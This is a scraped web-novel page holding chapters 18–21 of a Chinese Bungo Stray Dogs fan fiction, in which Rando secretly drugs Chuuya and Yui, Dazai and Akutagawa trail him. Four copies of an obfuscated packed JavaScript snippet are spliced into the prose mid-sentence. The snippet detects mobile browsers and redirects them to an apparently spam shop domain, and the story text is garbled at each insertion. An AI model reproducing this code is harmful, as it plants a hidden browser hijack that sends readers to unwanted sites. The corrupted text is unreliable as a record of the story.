她付了钱,将那盒扑克牌珍重地放进大衣内侧的口袋里——就在之前放着那副旧牌的位置。 虽然不清楚用法,虽然可能永远用不上,但…… 这样就好。 18.新的交易 “你在这里做什么呢?” 背后传来了阴恻恻的疑问。 黑羽结衣顿时感到浑身汗毛直竖,那点因为丢失扑克牌而生出的伤春悲秋的小心思瞬间消失无踪。 她在回头之前,脑海里已经飞速转过了七八种说辞,结果一回头,映入眼帘的是那张苍白的少年面孔。 不是港口mafia的部下,也不是某些麻烦精,而是—— “什么嘛?” 黑羽结衣整个人放松下来,长舒了一口气,紧绷的肩膀也垮了下去, “是芥川君啊!好久不见,最近还好吗?” “……托您的福。” 芥川龙之介像是不太适应这种谈话方式,或者是不适应这么直白地感谢其他人,他抿了抿唇,努力组织着不习惯的用语。在少女好奇的目光下,苍白的脸颊难得有了些血色。 少年停顿了一下,似乎觉得这样还不够,又补充道, “店长把书交给了我们,那些书……我们也有在分着看。” 他没有说的其实要更多。 连黑面包都很难吃到,只能躲在破旧的建筑和摇摇欲坠的木板缝隙里,饥饿的时候抬头空洞地望着一小片灰蒙蒙的天空,不知道今后有什么活下去的意义,也可能没有活着的机会。 那样的日子过了很多年,久到几乎忘记了“明天”这个词的含义。 但现在,对于如今的他来说,那些日子却恍如隔世。 现在几乎每天都能拿到可以饱腹的点心——虽然只是点心店卖剩下的,但对于擂钵街的孩子们来说,已经是难以想象的奢侈。在白天的时候,他们能一群人聚在一起,借着天光对着那些基础的识字书籍,一起学习那些对他们来说曾经遥远得如同另一个世界的东西。 人生的意义,在之前只是勉强的苟活,现在却也多了点除温饱和活着以外的东西。 以前擂钵街的孤儿们并不懂得什么是“礼仪”——那是对他们而言太过奢侈的概念。但至少现在,他是真切地想用从课本上学到的那些生涩而郑重的措辞,去感谢面前这个人。 “这样啊。” 黑羽结衣点点头,语气轻松, “那些书对我已经没什么用了,你们能用得上,真是再好不过了。” 她向少年身后望了望, “今天只有你一个人吗?其他人呢?” “嗯,在下今天出来是帮店主采购的。” 芥川龙之介点点头,低头咳嗽了两声, “店长最近生意还不错,打算研发新品,结果材料不够了,就拜托在下去买一些回来。” 能听到一些故人的好消息确实令人心情愉快。黑羽结衣不由微笑了起来,想了想,自己出门确实没什么值得拿得出手的正当借口,于是那笑容就更加深了两分: “是还没有去吗?我来帮你吧,我的异能——” “在下已经买好了。” 见对面的少女四处打量着,露出惊讶的神情,芥川龙之介衣角的衣摆抖动着,一袋小小的黄油便从里面掉了出来,稳稳落在他摊开的掌心, “在下之前发现,咳,发现自己的异能可以装一些东西。” 尽管语气平淡,但黑羽结衣硬生生从里面听出一分得意的色彩来。 异次元口袋吗这是? 黑羽结衣目瞪口呆,对对方的异能顿时产生了觊觎之心。作为首领的职业病猛然升起,她摸了摸下巴,若有所思地打量着芥川龙之介: “芥川君,虽然我给你们留了一些基础类书籍,但是如果只是一个人自学的话,是不是其中也会有很多不熟悉,看不懂的内容呢?” 他抿了抿唇,没有否认: “……还好。” “你也大致知道我们的情况,我最近啊,打算请一位家庭教师来为大家进行辅导,你想一起来吗?” 少年的脸上果然浮现出挣扎与渴望的神情,但只持续了短短几秒,就化成了坚定的否决: “在下,咳,现在的生活已经足够了。” “你的身体还好吗?” 听到对方连续不断的咳嗽,少女多关心了一句。 芥川龙之介垂下眼,摇了摇头: “在下已经习惯了。” 关心身体也行不通,物质生活和精神生活也不需要,难道还是她的话太没有说服力了吗?这种事,是不是得交给太宰治那种满嘴跑火车的家伙来? 黑羽结衣的食指曲起,轻轻点着自己的皮肤,思绪转的飞快。大概是芥川龙之介察觉到接连拒绝了对方后空气有些凝固,他硬生生找出了个新话题: “你们……在下是说你们的组织,有对擂钵街做什么进一步行动的计划吗?” 这个问题来得突然。 黑羽结衣愣了一下,随即摇摇头: “虽然我很想说也许会有,但现在真没有。” 她最开始也曾踌躇满志地想改造一个更好的横滨——这其中就包括让擂钵街变成更安全的街区,但在之前看过自己组织的账本,接触过内部的暗潮汹涌后,现实无疑给了她一记重击。 “这样啊,最近经常看到你的同伴中的一个人来擂钵街,我还以为你们有什么新任务。” 黑羽结衣一愣。 那愣怔只持续了不到一秒。随即,她很快掩饰好了自己的表情,就像什么都没发生过一样,脸上依旧挂着轻松的笑容: “你是说兰堂哥吧?” “在下不知道他的名字,那个人披着长发,脸色格外苍白,穿得很厚。” “啊,是他没错。他前段时间丢了点东西,但又觉得不需要其他人帮忙,就自己一个人抽空去调查了。” 少女摊摊手,用满不在乎的语气说道, “很顽固,对吧?我们也很伤脑筋的。” “大概,那位先生不想因为自己的事麻烦其他人吧。” “那我们明明是最好的——家人才对,” 黑羽结衣脱口而出,随即意识到这句话里的含义,先一步移开视线, “正好,芥川君之前的顾虑,是因为觉得自己没有付出相应合适的代价,对吧?” 她双手合十,摆出请求的姿态, “那我们再做个交易,你觉得如何?你不需要去做什么危险的事。只需要帮我暗中留意一下对方去了哪里,或者见了什么人,做了什么事就好了。毕竟在擂钵街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254451|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种地方,就算是异能者,一个人在里面一直晃悠,也是很容易出事的啊。” 芥川龙之介沉默了很久。 那双漆黑的眼眸望着她,里面翻涌着复杂的情绪——警惕,犹豫,以及……连他自己都没有察觉到的,想要靠近的渴望。 终于,他点了点头: “在下……明白了。” 黑羽结衣脸上绽放出今天最真切的笑容。 只要建立联系,就能加深人和人之间的关系。而只要一方有主动的心思,而另一方有想获取的东西,这样的关系只会越来越深入。 ——无论是什么样的关系,都和利益扯不开关系。 但目送着芥川龙之介瘦削的背影消失后,她脸上的笑容慢慢敛去。 兰堂哥……最近到底在调查什么?又到了哪一种程度? 出了一趟门,反而给自己找了更多的烦心事,黑羽结衣叹着气,使用异能回到港口mafia大楼内部,从自己的休息室内推门而出。 ……没推开。 外面好像有什么重物挡着门。她皱了皱眉,加大力气又推了两下,才终于把门推开一道缝,挤了出去。 随即就传来“咚”的一声,黑羽结衣走出去才发现,挡着门的是某个黑漆漆的家伙,不知为什么坐在她的休息室门口,背靠着门板,就这么一直没移动过。结果被她从背后一推门,整个人猝不及防地就向前扑倒,现在正以一种极其诡异的姿态,从地上爬起来。 ——周身还散发着肉眼可见的黑色怨气。 “虽然以罪魁祸首的身份问这个问题有点奇怪,” 黑羽结衣看着那个从地上爬起来的绷带少年,嘴角微微抽搐, “但我还是要说——太宰,你为什么会坐在这种地方?” “该抱怨的应该是我吧,首领小姐!我可是,敲了很久、很久的门,一直没有人回应!乖乖坐在这里等你出来,结果还遭受了如此过分——的待遇,我真的太伤心了,我现在、立刻、马上就要吊死在你的门口!” 麻烦精大声抱怨着,并且真的从口袋里掏出一根绳子,四处张望着寻找合适的悬挂点。 黑羽结衣举起手,做出一个标准的投降姿态: “对不起,我错了。” 太宰治意味不明地哼哼了两声,终于从地上爬了起来: “怎么,小姐的外出散步开心吗?” “你……” 她想问对方是怎么知道的,但问这件事好像也没有意义,于是决定随便找件事糊弄过去, “还行吧,我刚刚——” 话说到一半,走廊拐角处突然出现了另一个最近她最忧心的身影。黑羽结衣一点都不打转地又换了话题, “碰到有个黑色短发,穿着奇奇怪怪衣服的家伙,和我说了一堆莫名其妙的话。” “哦?说了什么?” 太宰治挑了挑眉,好奇地发问。 “什么世界,命运啊之类乱七八糟意味不明的话。我自己都没有记下来。” 黑羽结衣敷衍了他两句,抬起手向走近的青年打了个招呼, “兰堂哥,下午好……嗯?你脸色看上去不太好啊。” 19.家人 深夜。 已经准备就寝的中原中也拉开门,钴蓝色的眼眸因为困倦而显得比平时柔和,姿态毫无戒备。他的睡衣领口微微敞开,露出少年人特有的清瘦锁骨,蓬松的赭色短发有些凌乱,显然刚从床上爬起来。 “兰堂哥?” 少年打了个哈欠,视线随即落在对方手中的杯子上,露出一个混合着困惑和微妙嫌弃的神情, “……这是什么?牛奶?” 兰堂站在门口,身上的外套似乎换了一件,比之前更为厚重了,脸色也有些苍白,像是大病未愈,眼底还留着重重的黑眼圈,但语气依旧温和: “有些失眠,看到后顺路给你带了一杯,睡前喝牛奶有助于放松精神。另外,我感觉最近一两年你的身高是不是没怎么长过?前几天看到太宰站在你身边,他似乎比你高了点。” 中原中也的表情瞬间僵住了: “哈?!怎么可能!我绝对会长的比那个混蛋高的!” 怀抱着如此沉重的殷切期待,少年一把接过牛奶杯,仰头咕嘟咕嘟灌了下去,随意地用袖子擦了擦嘴角,这才有空意识到面前的人的违和感: “兰堂哥,你脸色看上去很差啊。” “连你也这么说吗?” 青年露出一个安慰的笑容, “结衣之前也是这么说的,可能最近有些太累了吧。” “干部的工作这么繁重的吗?” 钴蓝色的眼眸里只有担忧, “我知道兰堂哥想尽量帮上结衣的忙,但她也绝对不希望自己的家人这么辛苦的,如果真的太累了,还是及时说出来比较好。” “我知道,” 兰堂的脸色有一瞬复杂,但马上又戴上了往日的面具, “还说我,中也你不也是一样的吗,最近都不怎么能见到你的人影。” “那是因为……算了,我肯定会注意的,兰堂哥你也一样!” 见对方点点头,确实最近也拼命出任务连轴转导致过于疲惫的少年随后和兄长道了晚安。 不一会,里面的灯就熄灭了。 兰堂端着空杯子,静静地站在门外。他估计着时间,目光落在门板上,仿佛能看到里面那个已经陷入沉睡的少年。 又过了几分钟,他轻轻推开了门。 房间内一片昏暗,中原中也躺在床上,呼吸均匀而深沉,睡得很熟。兰堂站在床边,低头望着那张毫无防备的睡颜。 中原中也的抗毒能力很弱。 这是只有他最亲近的人才知道的,极其明显的缺点,如今却被兰堂借用来对付他。 兰堂感到一阵内心的痛苦。 一边是故国的责任,自己的身份和搭档的消失,一边是七年来的点滴相处。 他的脸色在昏暗的光线下变幻不定,甚至有了一丝狰狞。 太宰治从门缝内静静地注视着青年。直至兰堂恍如所觉一般回头,与他视线相接。 “呦,兰堂先生。” 少年嘴角含笑,只是眼底完全不带笑意, “这是在做什么呢?小矮子难道还没过那个需要乖乖戴好睡帽躺在被窝里,等待亲人讲完睡前故事才能睡着的年纪吗?” 兰堂站在原地垂下眼,面色如常: “……只是有些睡不着。出来走走。” “不愧是家里的好兄长呢。” 太宰治的语气里带着一丝若有若无的嘲讽, “随便走走,也得端详一番弟弟的睡颜,确认他有没有踢被子、有没有做噩梦、有没有流口水——真是无微不至的关怀啊。” 兰堂没有接话,只是反问道: “太宰呢?你为什么这个时间点会在这里?” “我……” “因为他刚刚、覆盖了我的游戏存档。” 从两人身后传来再熟悉不过的女声,两位男士同时回头,走廊尽头,少女穿着简便的家居服,长发有些凌乱,眼里全是怒火,她看到兰堂也是一怔,但立马反应过来, “兰堂哥,帮我拦住他!” 青年还没完全反应过来,身体已先意识一步扯住看到黑羽结衣就打算溜走的少年的后衣领。太宰治顿时就像个被拎起后脖颈的猫一样僵在原地,随后试图扑腾: “兰堂先生,你该不会是在记恨我刚刚的话吧!” “说什么呢,兰堂哥明明是代表了正义制裁你——欸?中也的门没有关啊。兰堂哥刚刚是在……?” “是在慰劳可怜的弟弟君呢,可能这么多年操劳习惯了吧?不看到对方睡熟的脸庞不甘心呢。我都要被感动哭了——” 但尽管少年已经手舞足蹈,声音也足够响亮,里面依旧安静无声。中原中也的警惕心似乎完全消失了,就那么沉沉地睡着,没有任何醒来的迹象。 兰堂手一松。太宰治从他手下逃脱开来。 就在那一瞬间,黑羽结衣对上了太宰治的眼神,随后她直接三步并作两步上前: “好啊,你还想转移话题!你知不知道那是对于我来说多么珍贵的存档!我好不容易抽出时间选了合适的分支路线,马上就要走到大结局了——!你、竟、然、给、我、覆、盖、了!” 但对方就像是滑不溜秋的泥鳅一样抓不住。少女扑了个空,转身再追,因为异能无法对对方使用而随着时间越发积攒起怒气条来: “兰堂哥!帮我再抓住他!” 兰堂看着已经围绕自己做圆周运动的两道身影,怔忡了一瞬,随即不由微笑起来。他伸出手,一手一个,精准地抓住了两人的后衣领,语重心长地说: “要好好相处啊。” “我没办法和伤害了我珍贵的存档的家伙好好相处。” 黑羽结衣挣扎了两下发现挣脱不开,只能乖乖站在原地,满脸不爽。 “但小姐打的那个结局太虚伪了嘛,好无趣啊~我帮你换了个更有深度的结局哦,保证能让你思考人生……” “兰堂哥你看!他就是故意的!” 兰堂站在两人中间,脸上写满了为难: “有什么话坐下来好好说……不要吵架,也不要动手——” “除非他把我的存档全部补回来!” “才不要~” 眼见战斗即将进一步升级,兰堂终于做出了决定: “我来帮结衣你打吧,你告诉我要打到哪个分支,什么进度就好。” 黑羽结衣愣住了。 “还是兰堂哥好——!” 她立刻抛弃了刚才对太宰治的全部愤怒,眼睛亮了起来, “那我们快走!” “现在吗?” “当然是趁我现在还有印象,一鼓作气打过去啦~走吧走吧,我边走边和你说——” 黑羽结衣不由分说地拽着兰堂消失在了走廊尽头。而被“无视”丢在走廊的少年,深深地看了眼他们的背影,随后脚步一转,走进了中原中也的房间内。 几个小时后。 “比我预想中来的要晚啊。” 已经快要拂晓,太宰治才在自己的房间内等到了姗姗来迟的黑羽结衣。 “我已经连轴转两天了,这次还是你先发了消息我才急忙拿东西做了点伪装才赶过去的。” 黑羽结衣走进来,脸上带着一夜未眠的疲惫,随后关上门,径直走向椅子, “另外,我得熬到兰堂哥累到睡着了才行。” 她说着,在椅子上坐下, “顺便,来之前我去中也那抽了管血,加急让医疗部保密出了一份报告。对方没有提到你去过,所以我想你应该是有自己的验证手法吧。” 太宰治从窗台上跳下来,走到桌边,拿起那份报告看了几眼,语气漫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260785|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经心: “对哦,我在小矮子耳边喊他蛞蝓,还说他完全不会再长高了,又宣称不服输的中也新一册马上就要出版,他也没有醒,更别提像平时那样跳起来骂我。所以我就确信了,那并非是自然的睡眠。” “……他的血液里有一定的安定成分,不致命,剂量控制得很精准,也就是让人安稳地睡个好觉的程度。醒来之后血液里就代谢掉了,什么痕迹都不会留下。” 黑羽结衣手按在眉心上,阴影覆盖了她大半张脸, “怎么就走到这步了。万一……万一兰堂只是看中也最近太累了,想让中也睡个好觉呢?” 太宰治敏锐地察觉到,少女这次对兰堂的称呼里,少了敬语: “小姐说这话的时候,有没有把自己骗到了,我想你心里应该清楚。” 黑羽结衣没有说话。 她当然清楚。 她只是……不想相信。 天色将明未明,东方天际泛起一丝鱼肚白,城市在逐渐苏醒,但她的心却已经坠入谷底。 “太宰,你也知道我是来问你什么的,” 黑羽结衣抬起头直视着他,正色问道, “你之前提过,有掌握过我们的秘密。那在那之中,有关于他的吗?” “小姐知道之后又想如何呢?” 没料到他先反问。 黑羽结衣没有回避他的目光。 “我没有过去的记忆。” 少女脸上带着几乎冷硬的神色, “对我来说,组织也好,家人也好,是不允许出现背叛的行为的。兰堂……” 亲昵的称谓消失了。 “兰堂君这次的举动,并没有对任何人造成实质性的伤害。” 她缓缓说, “但如果还有下次的话——” “我也只能想尽办法,让他悄无声息地……意外身亡了。” 房间内安静了几秒。 太宰治望着她,终于开口,内容却和刚刚的对话完全无关: “据我所知,七年前,小姐,中也和兰堂先生同时在现在的擂钵街,也就是之前的爆炸中心失去了记忆。” 黑羽结衣点点头,这件事她也知道,太宰治接着往下说, “所以,在当时小姐恰好遇到兰堂先生,委托他在你外出时照顾那时意识还是个孩童的中也的时候,你们就有了共同的认知——那就是追寻过去的真相。再后来,乱步君作为你找来的外部‘侦探’,也加入了这个家。” 这部分的时间轴并没有错误,江户川乱步的加入稍有些晚,和太宰以及晶子也就是前后脚的地步。 而在那个时候,中原中也的认知和记忆尚且不清晰,两个担任起家里栋梁的人——黑羽结衣和兰堂才是共同探索秘密的同盟战线。 黑羽结衣低声接话: “结果,我再次失去了记忆。那段时间调查过什么,知道了多少,现在只有兰堂清楚了。” “乱步君对平日里信任的人不设防,也不太会动脑筋。但如果说明实情,拜托乱步君去调查,凭借他的能力应该也能找到些什么真相。” 那鸢色的眼睛就注视着她,仿佛在问, “你要把这件事告诉其他人吗?” “不。” 她也就那样随着自己的心意回答了他, “这是我们两人之间的秘密,在兰堂君对其他人下手之前,我们要查清真相。” 太宰治静静地望着她。 然后,他的嘴角微微勾起一个极其浅淡但真实的弧度。 外面的天空已经完全亮了。 “新的秘密吗……也不错。” 他从窗户边缘跳下,无端显出点雀跃的意味在, “一起去调查吧。我也有些好奇,能抵得过七年的家人之情的,究竟是怎样深刻的东西。” 20.螳螂捕蝉 “虽然我知道问小姐也得不出什么答案。但是,有一个问题确实摆在我们面前。” 太宰治靠在窗边,晨光在他身后勾勒出逆光的轮廓, “兰堂先生先找的人,想要追寻秘密也好,进一步处置也好的人——是中也。在你们两个人中间,他选择的是小矮子。这背后,有什么特别的,我们所不知道的原因吗?” 黑羽结衣…… 她还真不知道。她甚至不能确认,当事人本身知不知道这件事。 “你有什么想法吗?” 少年无辜地摊开手: “如果小矮子自己知道这样的秘密,他肯定不会告诉我,要不然绝对会被我拿出来嘲笑的,不是吗?” “这样啊……那就先到此为止吧。” 黑羽结衣盯着他看了几秒,然后打了个哈欠,朝他摆摆手, “我先回去补一觉。” “欸?” “反正你肯定在刚才给他上了定位或者其他小玩意,是吧?” 也没看对方的脸色,也没等对方回应,她直接拉开门,银白色的光芒一闪而过——下一秒,走廊里已经空无一人。 太宰治站在原地,望着那扇半开的门,嘴角慢慢勾起一个弧度。 “越来越像首领了嘛。” 他轻声自语,随即也消失在门外的光线里。 黑羽结衣回到自己的房间,几乎是凭着本能完成了脱鞋、换衣服、钻进被窝、盖好被子的一系列动作。 她是真的连轴转了整整两天。 本来以为能好好睡个觉,结果昨晚还发生了那样的事。 总之,有什么事等醒了之后再说…… 困意像海浪,彻底将她吞没。 与此同时,擂钵街边缘。 芥川龙之介站在一栋废弃建筑的阴影里,望着不远处那个穿着厚重外套的身影,苍白的脸上没有任何表情。 又来了。 那个名为“兰堂”的男人,最近总是在这一带转悠。有时候站在高处眺望整个擂钵街,有时候沿着边缘向内,像是在寻找什么,又像是在确认什么。 芥川龙之介咳嗽了两声,用袖子掩住嘴。 黑羽结衣拜托他的事,他原本只是出于交易的考虑才答应的。但几天下来,他发现自己确实在意起来。 这个人到底在找什么? 等到那个身影已经消失在他面前时,芥川龙之介想了想,决定跟上,但就在那个时候,另一个身影突然出现在视野里。 那是一个缠着绷带的少年,穿着黑色外套,步伐悠闲。 他记得那个绷带少年,之前有一次在点心店附近见过。那次少年看他的眼神很奇怪,不像是嫌弃或者警惕,虽然毫无波动,但他感觉到自己由内到外被审视与洞察了一次。 ……好像那也是黑羽结衣的同伴。 现在,那个人也在跟踪兰堂。 少年满心困惑地跟上去,成了这个跟踪队伍中的最后一位。 书上说过这样的情况是“螳螂捕蝉,黄雀在后”。 那他是……螳螂?蝉?还是别的什么? 这一觉睡得并不安稳。 梦里有很多碎片在翻涌。先是青年温和的笑意,长辈般的关怀与爱护,那些坚定的支持与关心的话语,但画面一转,又变幻成他冷漠地站在中原中也的床边,手边拿着加了药的玻璃杯,神色扭曲成陌生的模样。 黑羽结衣是被敲门声吵醒的。 她猛地睁开眼睛,心跳得很快。 房间内依旧昏暗,窗帘缝隙透进的光线已经变成了正午的明亮。她不知道自己睡了多久,只觉得浑身发软,脑袋昏沉沉的。 几点了? 她摸索着找到放在床头柜上的手机,按亮屏幕—— 上午十一点十七分。 睡了大概……四个小时?五个小时?不够,但也没办法再睡了。 敲门声再次响起,这次伴随着熟悉的声音: “结衣?你醒了吗?” 是中原中也。 她按着太阳穴回应道: “醒了,进来吧。” 门被推开,中原中也端着一个托盘走进来,上面放着一碗热气腾腾的粥和几碟小菜。他将托盘放在床头柜上,钴蓝色的眼眸里带着一丝担忧。 “兰堂哥说你昨晚熬夜打游戏,让我记得监督你按时吃饭。” 他说着,语气里带着点抱怨, “我知道你喜欢游戏,但倒也不要因为这种事这么拼命啊?” 黑羽结衣望着那碗粥,又望着中原中也那张毫无异样的脸。 他什么都不知道。 不知道昨晚有人站在他床边,用那种复杂的眼神注视着他。不知道那杯牛奶里加了东西。不知道昨晚发生了什么。 “谢谢。” 她轻声开口。 中原中也在一旁的椅子上坐下,翘起二郎腿,一副“我陪你吃”的架势。他看上去倒是神清气爽: “昨晚难得睡了个好觉,感觉整个人都精神起来了。你呢?兰堂哥说昨晚陪你打游戏打到很晚。” 黑羽结衣拿着勺子的手微微一顿。 “挺晚的。” 她面不改色地说, “大概三四点吧。” “哦。” 中原中也点点头,没再追问,只是嘟囔了一句, “难怪今天早上他是打电话和我说的,估计也补觉去了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264699|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 黑羽结衣没有接话,只是低头继续喝粥。 喝了两口之后,她突然抬起头: “打电话?” “是啊。” 中原中也理所当然地说, “早上我起来的时候他就不在,我想喊你们一起吃早饭。结果打他电话,他说在外面有点事要处理,让我记得提醒你按时吃饭,不要像之前那样喝杯咖啡敷衍。怎么了吗?” 黑羽结衣突然觉得有些不妙。就在同一时间,她的手机也倏地响起提示音。 她拿起手机,屏幕上是太宰治发来的消息。 麻烦精:首领小姐睡醒了吗?有个好消息和一个坏消息,想先听哪个? 黑羽结衣:……坏消息。 对方几乎是秒回。 麻烦精:坏消息是兰堂先生又进入擂钵街了。 麻烦精:不过大发慈悲的告诉你一个好消息,我正好在亲自跟踪。首领小姐要一起来吗? 黑羽结衣:我先去他的房间看看。 麻烦精:虽然我觉得他不会把证据放在那么显眼的地方,不过请便。希望你能找到更有趣的东西。 放下手机,对面是环抱着双臂,看着她的中原中也。 “到底怎么了?你今天看上去不太对劲。” “没什么,你今天应该还有任务吧?不用在我这边浪费时间了,你先去忙吧。” 中原中也觉得哪里不对,但又好像一切正常的样子,他挠了挠自己的头,一时半会想不清楚那些微妙的违和感出自哪里,只好满腹狐疑地去忙自己的工作。 黑羽结衣听着脚步声逐渐远去,又等了几秒,直接发动了异能。银白色的光芒消散时,她已经站在了兰堂的房间门口。 但正如太宰治预料的那样,房间看着整齐又干净,窗帘半拉着,光线昏暗。一切都收拾得整整齐齐——被子叠成豆腐块,书桌上的物品摆放得一丝不苟,衣柜门紧闭,连地板都干净得发亮。 黑羽结衣站在房间中央,缓缓环顾四周。 太干净了。 干净得不像有人在居住的空间。 她又检查了一遍房间,就连床头柜的抽屉都拉开了,但依旧没发现什么私人物品。 这个词让她顿时心念一动。床头柜上摆放着一个空无一物的相框,黑羽结衣本来没有在意,但此刻她盯着那个空缺,脑海里有什么念头正在成形: 那里本来是有照片的,但却被兰堂拿走了。 为什么? 如果,这间房间内已经完全没有住人的痕迹,那只能说明,对方已经有了打算离开或者扯破关系的心思。 如果真的是这样的话…… 太宰会不会有危险?! 21.家人 擂钵街。 太宰治双手插在口袋里,慢悠悠地从坑壁边缘向下走着。脚下的路凹凸不平,两侧是歪歪扭扭的棚屋和堆积如山的废弃杂物,让人不禁联想到某种畸形生物寄生在横滨这片巨大的伤疤上。阳光被那些胡乱搭建的遮阳棚切割成碎片,在地上投下斑驳的光影,隐约中,那些阴影投下不怀好意的目光。 太宰治完全没把那些视线放在心上,只是不紧不慢地走着,鸢色的眼眸偶尔扫过前方那道身影。 从进入擂钵街开始,兰堂虽然会绕行,但总体来讲是向着最中心的凹陷处,也是爆炸最严重的中心点走去。他身上穿着太宰治没见过的深色大衣,整个人透出一种与这个世界格格不入的疏离感。 ……像个幽灵。 “唔。” 是自己太心急了,那些小装置被发现了吗?还是说,小矮子那边已经—— 太宰治的脑海里飞速转动着各种可能性。就在这时,前方的身影突然停下了。 兰堂转过身。 太宰治的反应极快,他几乎是本能地往旁边一闪,整个人贴进了一栋废弃建筑的阴影里。那动作流畅得像是排练过千百遍,没有发出任何声响。 兰堂的目光扫过他藏身的方向,停留了几秒。 太宰治屏住呼吸。 那几秒长得像是一个世纪。 几秒后,兰堂转过身,继续向前走去。 太宰治轻轻吐出一口气,在转身继续前行前,他不着痕迹地向着自己的身后瞥了一眼。手机的信息弹出,是黑羽结衣让他提供现在的坐标的消息,少年看了两眼,没有回复,将还亮着屏幕的手机直接丢进了口袋里。前方,兰堂的身影已经拐进了一条更狭窄的巷子。 他默默迈开脚步,跟了上去。 越往里走,环境越发破败。直至转进一个拐角,两侧的建筑几乎已经看不出原状,路也越发难走,没走几步,青年的身影就消失在废墟之中,太宰治在原地站了半响,摸了摸下巴,还是跟了上去。 绕过那堆废墟,眼前是一片相对开阔的空地。四周被倒塌的建筑残骸包围,像是一个天然的封闭空间。只是…… 空无一人。 “哦呀。” 身后有脚步声传来,太宰治乖乖举起手, “兰堂先生,这算是捉迷藏吗?我认输~” 身后没有额外的动静,于是少年缓慢地转过身,他的背后果然是自己跟踪已久的男人。兰堂的眼神有些冰冷,却依旧平静: “太宰,你来这里的目的是什么?” “目的?我能有什么目的呢?只是随便散步~结果,就不知不觉走到这里了。” “这里很危险,早点离开吧。” 青年只是平淡的指出这个事实。他们像是心照不宣一般忽略了,为何两个人前后脚会同时来到这种地方。 “确实很危险,一不留神就会死无葬身之处,恐怕到时候连凶手和尸体都找不到吧——” 在兰堂越发皱紧眉的压迫性注视下,太宰治张开双臂,面容陶醉地闭上眼, “那难道不就是我梦寐以求的死亡吗?!只是不知道,是否能获取无痛的梦乡……” 熟悉的头疼感。 “太宰。” 兰堂叹了口气,语气里是多年养成的习惯性无奈, “说了多少次,不要老是抱有这种消极的想法。” 本来眯着的那只眼睁开了半条缝,少年顿时表情索然无味: “什么嘛,兰堂先生完全是把我在当做完全不懂事的笨蛋小辈来看呢,好无趣啊。” “应该是反过来吧。” 太宰治没有回答,只是站在原地,双手依旧插在口袋里,脸上挂着若有若无的笑容。 “太宰。” 兰堂开口了,声音依旧平静,但那平静之下有暗流在涌动, “你是个聪明的孩子。从我第一次见到你,就知道这一点。” 太宰治微微挑了挑眉。 “你总是能看透别人看不到的东西。” 兰堂继续说, “你总是能猜到别人想什么,并利用人性的弱点达成你的目的。这是你的天赋,也是你的武器。” 他顿了顿。 “但有时候,了解得太多,并不是好事。” “兰堂先生这是在威胁我吗?” 少年歪了歪头,语气依旧轻快,笑容也没从脸上下去, “‘知道太多的人活不长’——这种桥段我在书里看过很多次呢。接下来是什么?威胁还是直接动手?” “不,并不是……也许你不是很想好好谈谈,但我觉得这样对谁都没益处,不过在那之前——” 彩画集展开,暗红色的亚空间比任何人的反应速度都要快地笼罩了这一大片区域,封死了所有可能的退路,也隔绝了外界的一切, “我要先处理一只偷偷摸摸的老鼠。” 然后,他动了。 太宰治的反应已经算快了——在兰堂抬起手的瞬间,他已经向对方的方向冲去。 但他仍旧晚了一步,暗红色的亚空间屏障在他面前合拢,瞬间封死了这片区域,与此同时,无形的冲击波从上方袭来,将两人中间的空地直接砸出一个巨大的凹陷。 太宰治被那波动冲击地倒退了几步,一屁股坐在地上。他站起身,稳住身形,抬起头—— 在这短短几秒,兰堂已经站在另一个人的面前。 身材瘦弱的少年被扼住喉咙,苍白的脸庞上浮现出因缺氧而产生的红晕。 在极度的弱势状态,少年的衣角处阴影迅速蔓延,化作无数道漆黑的利刃,在那异能的作用下,兰堂的身边空间突然碎裂。 芥川龙之介落在地上,踉跄着后退几步,捂着喉咙剧烈地咳嗽起来。 兰堂微微皱了皱眉,看向少年的眼神里多了些审视: “你的异能……” “咳,咳……” 重新呼吸到新鲜空气的少年咳嗽着,衣角的布料依旧如同活物般蠕动着,随时准备再次发动攻击。 太宰治在一旁“喔”了一声: “我记得你的名字是……芥川君,对吧?不错的能力,难怪小姐这么看好你,一直想拉你入伙。” 在兰堂骤然怔愣的神情中,他笑的极其无辜: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 